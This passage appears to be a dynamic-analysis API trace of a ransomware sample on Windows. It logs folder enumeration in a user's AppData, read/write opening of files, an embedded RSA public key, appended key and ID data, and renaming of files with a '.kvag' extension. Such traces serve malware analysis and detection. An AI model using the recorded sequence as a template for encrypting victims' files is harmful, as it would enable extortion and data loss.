ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x728c68a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xae63dce0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC", cAlternateFileName="D47DBD~2")) returned 1 [0121.480] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC") returned="" [0121.480] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x545f6190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x545f6190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69b6e1e0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x198, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE", cAlternateFileName="D47DBD~1")) returned 1 [0121.480] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE") returned="" [0121.480] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x808d4a70, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x808d4a70, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x808d4a70, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1a4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C", cAlternateFileName="D52C56~1")) returned 1 [0121.480] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C") returned="" [0121.480] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x683e0540, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x683e0540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f015a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585", cAlternateFileName="EA6180~1")) returned 1 [0121.481] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585") returned="" [0121.481] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf312b90, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf312b90, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf312b90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1", cAlternateFileName="F293AE~1")) returned 1 [0121.481] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1") returned="" [0121.481] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0xfc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F90F18257CBB4D84216AC1E1F3BB2C76", cAlternateFileName="F90F18~1")) returned 1 [0121.481] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\F90F18257CBB4D84216AC1E1F3BB2C76") returned="" [0121.481] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0xfc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F90F18257CBB4D84216AC1E1F3BB2C76", cAlternateFileName="F90F18~1")) returned 0 [0121.481] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0121.482] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0121.482] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0121.482] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\") returned="DOMStore\\" [0121.482] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0121.482] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0121.482] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0121.482] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0121.482] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.482] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.482] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.482] PathFindFileNameW (pszPath="") returned="" [0121.482] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0121.483] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.483] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="36USA68T", cAlternateFileName="")) returned 1 [0121.483] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x605dd8a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3O75JDME", cAlternateFileName="")) returned 1 [0121.484] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbaf619f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0121.484] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat") returned=".dat" [0121.484] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0121.484] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=32768) returned 1 [0121.484] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0121.485] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x7fda, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.486] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0121.487] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.487] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x8000, lpOverlapped=0x0) returned 1 [0121.488] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.488] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.488] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.488] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3608020) returned 1 [0121.489] CryptCreateHash (in: hProv=0x3608020, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0121.489] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0121.489] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0121.489] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0121.489] CryptDestroyHash (hHash=0x6183888) returned 1 [0121.489] CryptReleaseContext (hProv=0x3608020, dwFlags=0x0) returned 1 [0121.489] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0121.489] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0121.489] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0121.490] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x678a0c8, Size=0x218) returned 0x67741a0 [0121.490] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x8000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.490] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0121.490] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.490] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0121.491] CloseHandle (hObject=0x61c) returned 1 [0121.494] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\index.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\index.dat.kvag")) returned 1 [0121.497] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UV0DUWVB", cAlternateFileName="")) returned 1 [0121.498] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VGMTOI09", cAlternateFileName="")) returned 1 [0121.498] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VGMTOI09", cAlternateFileName="")) returned 0 [0121.498] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0121.498] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0121.498] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0121.498] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\") returned="Services\\" [0121.498] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0121.498] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0121.498] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0121.498] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0121.498] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.498] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.498] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.498] PathFindFileNameW (pszPath="") returned="" [0121.498] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0121.500] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.500] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0121.500] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0121.500] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0121.516] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0121.516] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\") returned="AU\\" [0121.516] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0121.516] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0121.516] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0121.516] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0121.516] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.516] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.517] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.517] PathFindFileNameW (pszPath="") returned="" [0121.517] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eea3160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0121.518] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab") returned=".cab" [0121.518] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0121.519] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=581730) returned 1 [0121.519] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0121.521] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x8e03c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.521] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0121.522] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x25805, lpOverlapped=0x0) returned 1 [0121.525] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.525] 